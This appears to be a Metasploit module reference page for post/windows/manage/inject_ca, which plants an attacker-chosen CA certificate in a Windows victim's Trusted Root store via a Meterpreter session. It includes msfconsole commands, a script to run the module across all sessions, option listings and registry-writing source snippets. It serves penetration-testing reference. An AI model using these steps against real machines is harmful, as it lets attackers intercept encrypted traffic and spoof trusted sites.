Windows Manage Certificate Authority Injection - Metasploit


This page contains detailed information about how to use the post/windows/manage/inject_ca metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Manage Certificate Authority Injection
Module: post/windows/manage/inject_ca
Source code: modules/post/windows/manage/inject_ca.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module allows the attacker to insert an arbitrary CA certificate into the victim's Trusted Root store.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/inject_ca

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/inject_ca
msf post(inject_ca) > show options
    ... show and set options ...
msf post(inject_ca) > set SESSION session-id
msf post(inject_ca) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/inject_ca")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/manage/inject_ca post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/inject_ca

msf6 post(windows/manage/inject_ca) > show info

       Name: Windows Manage Certificate Authority Injection
     Module: post/windows/manage/inject_ca
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  vt <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CAFILE                    yes       Path to the certificate you wish to install as a Trusted Root CA.
  SESSION                   yes       The session to run this module on.

Description:
  This module allows the attacker to insert an arbitrary CA 
  certificate into the victim's Trusted Root store.

Module Options

This is a complete list of options available in the windows/manage/inject_ca post exploitation module:

msf6 post(windows/manage/inject_ca) > show options

Module options (post/windows/manage/inject_ca):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CAFILE                    yes       Path to the certificate you wish to install as a Trusted Root CA.
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/manage/inject_ca post exploitation module:

msf6 post(windows/manage/inject_ca) > show advanced

Module advanced options (post/windows/manage/inject_ca):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/manage/inject_ca module can do:

msf6 post(windows/manage/inject_ca) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/manage/inject_ca post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/inject_ca) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

CAFILE not found

Here is a relevant code snippet related to the "CAFILE not found" error message:

33:	
34:	    # Check file path
35:	    begin
36:	      ::File.stat(certfile)
37:	    rescue
38:	      print_error("CAFILE not found")
39:	      return
40:	    end
41:	
42:	    cert = ''
43:

Key already exists!

Here is a relevant code snippet related to the "Key already exists!" error message:

85:	    begin
86:	      open_key = nil
87:	      open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)
88:	      values = open_key.enum_value
89:	      if (values.length > 0)
90:	        print_error("Key already exists!")
91:	        return
92:	      end
93:	    rescue
94:	      open_key = nil
95:	      open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)

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See Also

Check also the following modules related to this module:

Authors

  • vt <nick.freeman[at]security-assessment.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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